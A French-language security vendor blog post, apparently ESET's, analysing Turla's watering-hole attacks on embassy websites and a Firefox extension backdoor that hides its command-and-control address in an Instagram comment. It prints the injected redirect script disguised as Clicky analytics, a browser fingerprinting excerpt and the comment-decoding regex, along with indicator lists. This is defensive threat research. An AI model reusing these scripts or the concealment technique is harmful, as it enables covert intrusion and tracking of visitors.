[Mise à jour, 21 juin 2017 : En raison d’un malentendu avec Google, la description du vecteur d’infection de l’extension de Firefox dont il est question dans cet article était erronée lors de la publication le 6 juin 2017. L’information a depuis été corrigée.  Toutes nos excuses à Google et à nos lecteurs pour cette inexactitude involontaire dans notre publication initiale.]

Certaines des tactiques utilisées pour lancer des attaques par menace persistante avancée ont la vie dure. Les attaques de point d’eau menées par Turla en sont un bon exemple. Le groupe de pirates, qui cible depuis plusieurs années les gouvernements, leurs représentants et les diplomates (voir par exemple ce récent article), utilise encore des points d’eau pour rediriger les victimes potentielles vers son infrastructure de commande et de contrôle. En fait, Turla utilise ces mêmes techniques depuis au moins 2014, variant très peu son modus operandi.

Une attaque de point d’eau infecte un site Web que les victimes ciblées sont susceptibles de visiter. Il semblerait que les pirates de Turla ciblent plus particulièrement les sites Web d’ambassades. C’est ce que révèle un billet de blogue de Forcepoint, publié en février 2017, qui recense certains sites Web récemment infectés.

Nous surveillons bien entendu l’évolution de ces campagnes d’attaques. Nous avons remarqué dernièrement que Turla faisait de nouveau appel à une technique que les pirates n’avaient pas utilisée depuis plusieurs mois.

Infection initiale

Vous trouverez dans la section sur les indicateurs de compromission à la fin de cet article une liste de sites Web qui ont déjà été utilisés par les pirates de Turla pour rediriger leurs victimes vers leurs serveurs de commande et de contrôle. Comme c’est l’habitude pour ce groupe, plusieurs de ces sites Web sont directement liés à des ambassades du monde entier.

Les visiteurs de ces sites Web sont redirigés vers un serveur malveillant par l’intermédiaire d’un fragment de code, ajouté par les pirates à la page originale. Les scripts repérés au cours des derniers mois ressemblaient tous à celui-ci :

<!– Clicky Web Analytics (start) –>

<script type=”text/javascript”>// <![CDATA[

var clicky_site_ids = clicky_site_ids || [];

clicky_site_ids.push(100673048);

(function() {

var s = document.createElement(‘script’);

var a = ‘http://www.mentalhealthcheck.net/’;

var b = ‘update/counter.js’;

s.type = ‘text/javascript’; s.async = true;

s.src = ‘//static.getclicky.com/js’; s.src = a.concat(b);

( document.getElementsByTagName(‘head’)[0] || document.getElementsByTagName(‘body’)[0]).appendChild(s);

})();

// ]]></script>

L’étape suivante consiste à distribuer un fragment JavaScript aux cibles intéressantes pour obtenir leur empreinte numérique. Pour ce faire, le serveur de commande et de contrôle cible les visiteurs se trouvant dans une plage d’adresses IP donnée. Ces visiteurs reçoivent alors le script de prise d’empreinte. Ceux qui ne font pas partie de la plage d’adresses IP ciblée ne reçoivent qu’un script inoffensif, une version JavaScript de l’algorithme de hachage MD5. Nous donnons ci-dessous un extrait décrypté du script reçu par les victimes faisant partie de la plage d’adresses IP ciblée :Les pirates ont ajouté une référence à Clicky, une solution d’analytique Web en temps réel. Ils tentent ainsi de rendre le script crédible aux yeux des profanes, mais l’outil en question n’est pas utilisé pour l’attaque. On observe alors que le script ajouté exécute un autre script à l’adresse mentalhealthcheck.net/update/counter.js. Il s’agit d’un serveur utilisé par Turla pour exécuter des scripts de prise d’empreinte numérique, c’est-à-dire pour obtenir des renseignements sur le système sur lequel ces scripts sont exécutés. Une référence trompeuse à un script de Google Analytics a été utilisée de manière similaire pendant un certain temps, mais c’est Clicky qui est maintenant le plus souvent mentionné. Vous trouverez à la section des indicateurs de compromission les différents points d’eau repérés au cours des derniers mois. Dans tous les cas, il s’agit de serveurs légitimes qui ont été infectés par les pirates.

function cb_custom() {

loadScript(“http://www.mentalhealthcheck.net/script/pde.js”, cb_custom1);

}



function cb_custom1() {

PluginDetect.getVersion(‘.’);



myResults[‘Java’]=PluginDetect.getVersion(‘Java’);

myResults[‘Flash’]=PluginDetect.getVersion(‘Flash’);

myResults[‘Shockwave’]=PluginDetect.getVersion(‘Shockwave’);

myResults[‘AdobeReader’]=PluginDetect.getVersion(‘AdobeReader’) || PluginDetect.getVersion(‘PDFReader’);



var ec = new evercookie();

ec.get(‘thread’, getCookie)

Le script tente aussi d’installer un témoin de type « evercookie » qui suivra à la trace l’utilisateur lorsqu’il naviguera sur Internet.Ce script télécharge une bibliothèque JavaScript nommée PluginDetect, qui a la capacité de recueillir des renseignements sur les modules d’extension installés sur le navigateur. Les renseignements recueillis sont ensuite envoyés au serveur de commande et de contrôle.

Pour ceux qui connaissent les techniques de point d’eau du groupe, il est clair que Turla a toujours recours aux mêmes méthodes connues et éprouvées.

Extension Firefox

En surveillant ces campagnes de cyberattaques, nous avons repéré un échantillon fort intéressant. Vous vous rappelez peut-être le rapport Pacifier APT publié par BitDefender, qui décrivait une campagne de harponnage basée sur un document Microsoft Word malveillant envoyé à plusieurs institutions partout sur la planète. Ce document malveillant créait ensuite une porte dérobée. Nous savons maintenant que ce rapport décrivait en fait Skipper, une porte dérobée de premier niveau utilisée par Turla.

Le rapport contient aussi une description d’une extension de Firefox installée par le même type de document malveillant. Il se trouve que nous avons repéré ce qui est très probablement une mise à jour de cette extension de Firefox. Il s’agit d’une porte dérobée JavaScript, différente de celle décrite dans le rapport sur la menace persistante avancée Pacifier, mais ayant des fonctions similaires.

addons HTML5 Encoding 0.3.7

Nous avons remarqué qu’il est possible que cette extension ait été distribuée par l’intermédiaire d’un site contrefait reproduisant celui d’une entreprise de sécurité suisse. Les visiteurs, qui ne se méfiaient pas le moins du monde, étaient invités à installer cette extension malveillante. Il s’agissait d’une simple porte dérobée, mais qui avait recours à un moyen inusité pour obtenir le domaine de son serveur de commande et de contrôle.

Utilisation d’Instagram

L’extension utilise une URL bit.ly pour atteindre son serveur de commande et de contrôle, mais cette URL ne se trouve nulle part dans le code de l’extension en question. Cette dernière obtient en fait son chemin d’accès par l’intermédiaire de commentaires accompagnant une publication Instagram précise. La publication utilisée dans l’échantillon analysé était un commentaire portant sur une photo publiée sur le compte Instagram officiel de Britney Spears.

Commentaire sous une photo du compte Instagram officiel de Britney Spears

Commentaire sous une photo du compte Instagram officiel de Britney Spears

© https://www.instagram.com/p/BO8gU41A45g/

L’extension analyse chaque commentaire sur la page et calcule leur valeur d’empreinte numérique unique. Si la valeur correspond à 183, l’extension applique ensuite l’expression rationnelle suivante sur le commentaire pour obtenir le chemin d’accès de l’URL bit.ly :

(?:\\u200d(?:#|@)(\\w)

En analysant les commentaires associés à la photo, on constate qu’un seul d’entre eux a une valeur d’empreinte de 183. Ce commentaire a été publié le 6 février dernier, tandis que la photo originale a été publiée au début du mois de janvier. En prenant le commentaire et en y appliquant l’expression rationnelle, on obtient l’URL bit.ly suivante :

http://bit.ly/2kdhuHX

En observant l’expression rationnelle de plus près, on constate qu’elle recherche soit @|# ou le caractère Unicode \200d. Il s’agit en fait d’un caractère non imprimable appelé « espace sans chasse », généralement utilisé pour séparer des émoticônes. En analysant le commentaire ou sa source, on peut voir qu’une espace sans chasse précède chacun des caractères composant le chemin d’accès de l’URL bit.ly :

smith2155<200d>#2hot ma<200d>ke lovei<200d>d to <200d>her, <200d>uupss <200d>#Hot <200d>#X

En utilisant cette URL raccourcie, on se retrouve à l’adresse static.travelclothes.org/dolR_1ert.php, qui a déjà été utilisée comme serveur de commande et de contrôle par Turla.

Comme pour tous les liens bit.ly, il est possible d’obtenir des statistiques sur les personnes ayant cliqué sur l’URL.

Statistiques sur les personnes ayant cliqué sur l’URL

Comme on peut le voir ci-dessus, seuls 17 clics ont été enregistrés pour ce lien en février, peu de temps après la publication du commentaire. Ce nombre peu élevé suggère qu’il s’agissait peut-être seulement d’un essai.

Analyse technique

Cette extension de Firefox crée une simple porte dérobée. Elle recueille d’abord des renseignements sur le système sur lequel elle est exécutée et les transmet, chiffrés à l’aide d’AES, au système de commande et de contrôle. Cette façon de faire est similaire à celle décrite dans le document de présentation sur la menace persistante avancée Pacifier.

La porte dérobée a la capacité d’exécuter quatre types de commandes :

  • exécuter un fichier au hasard;
  • importer un fichier dans le système de commande et de contrôle;
  • télécharger un fichier depuis le système de commande et de contrôle;
  • lire le contenu du répertoire et envoyer une liste des fichiers, ainsi que leur taille et leur date de création, au système de commande et de contrôle.

Nous croyons qu’il s’agit pour le moment d’un essai, mais la prochaine version de l’extension, si elle voit le jour, sera probablement très différente. Plusieurs interfaces de programmation utilisées par cette extension n’apparaîtront plus dans les futures versions de Firefox.

Par exemple, l’extension fait appel à XPCOM pour écrire des fichiers sur le disque dur et à sdk/system/child_process pour lancer un processus. Ces interfaces ne peuvent être utilisées que par les modules d’extension, qui seront remplacés par le système WebExtensions lors du lancement de Firefox 57. Avec cette version, Firefox ne prendra plus en charge les modules d’extension, empêchant ainsi l’utilisation de ces interfaces de programmation.

Conclusion

Il est intéressant de constater que les pirates de Turla utilisent les réseaux sociaux pour obtenir l’URL de leurs serveurs de contrôle et de commande. Cette méthode a déjà été utilisée dans le passé par d’autres pirates informatiques comme le groupe Dukes. Les pirates qui utilisent les réseaux sociaux pour récupérer l’adresse de leur serveur de commande et de contrôle mènent la vie dure aux systèmes de défense. Tout d’abord, il est difficile de différencier le trafic malveillant du trafic légitime lorsqu’il est question de réseaux sociaux. Ensuite, les pirates ont ainsi plus de flexibilité pour modifier l’adresse de leur serveur de commande et de contrôle ou pour en effacer toutes traces. Il est aussi intéressant de voir qu’ils font appel à une ancienne méthode pour obtenir l’empreinte numérique de leurs victimes, tout en trouvant de nouvelles manières de compliquer la détection de leurs serveurs de commande et de contrôle.

Pour toutes questions ou pour envoyer des échantillons liés au sujet de cet article, communiquez avec nous à l’adresse suivante : threatintel@eset.com.

Remerciements

Nous remercions Clément Lecigne du Threat Analysis Group de Google pour sa collaboration aux recherches sur ces attaques.

Indicateurs de compromission

Hachage de l’extension Firefox

Nom du fichier SHA-1
html5.xpi 5ba7532b4c89cc3f7ffe15b6c0e5df82a34c22ea
html5.xpi 8e6c9e4582d18dd75162bcbc63e933db344c5680

Au moment d’écrire ces lignes, tous ces sites sont maintenant propres ou redirigent les utilisateurs vers des serveurs inactifs.Les sites Web infectés observés redirigent les visiteurs vers des serveurs de prise d’empreinte.

URL Description
hxxp://www.namibianembassyusa.org Ambassade de la Namibie aux États-Unis
hxxp://www.avsa.org African Violet Society of America (société américaine de la violette africaine)
hxxp://www.zambiaembassy.org Ambassade de la Zambie aux États-Unis
hxxp://russianembassy.org Ambassade de la Russie aux États-Unis
hxxp://au.int Union africaine
hxxp://mfa.gov.kg Ministère des Affaires étrangères du Kirghizstan
hxxp://mfa.uz Ministère des Affaires étrangères de l’Ouzbékistan
hxxp://www.adesyd.es ADESyD (Asociación de Diplomados Españoles en Seguridad y Defensa)
hxxp://www.bewusstkaufen.at Portail Web sur la consommation responsable en Autriche
hxxp://www.cifga.es Cifga Laboratory (création de normes sur les toxines marines)
hxxp://www.jse.org Juventudes Socialistas de España (JSE)
hxxp://www.embassyofindonesia.org Ambassade d’Indonésie aux États-Unis
hxxp://www.mischendorf.at Ville de Mischendorf, en Autriche
hxxp://www.vfreiheitliche.at Parti politique à Bregenz, en Autriche
hxxp://www.xeneticafontao.com Fontao Genetics, S.A. (fondé en 1998 et responsable de la gestion d’un centre de sélection et de reproduction animale en Galice, où l’on fait l’élevage de vaches holstein et rubia galega.
hxxp://iraqiembassy.us Ambassade d’Iraq aux États-Unis
hxxp://sai.gov.ua Gestion de la sécurité routière (Ukraine)
hxxp://www.mfa.gov.md Ministère des Affaires étrangères de la Moldavie
hxxp://mkk.gov.kg Service des employés d’État du Kirghizstan

Sites Web infectés utilisés comme serveurs de commande et de contrôle de premier niveau pour des attaques par point d’eau

  • hxxp://www.mentalhealthcheck.net/update/counter.js (hxxp://bitly.com/2hlv91v+)
  • hxxp://www.mentalhealthcheck.net/script/pde.js
  • hxxp://drivers.epsoncorp.com/plugin/analytics/counter.js
  • hxxp://rss.nbcpost.com/news/today/content.php
  • hxxp://static.travelclothes.org/main.js
  • hxxp://msgcollection.com/templates/nivoslider/loading.php
  • hxxp://versal.media/?atis=509
  • hxxp://www.ajepcoin.com/UserFiles/File/init.php (hxxp://bit.ly/2h8Lztj+)
  • hxxp://loveandlight.aws3.net/wp-includes/theme-compat/akismet.php
  • hxxp://alessandrosl.com/core/modules/mailer/mailer.php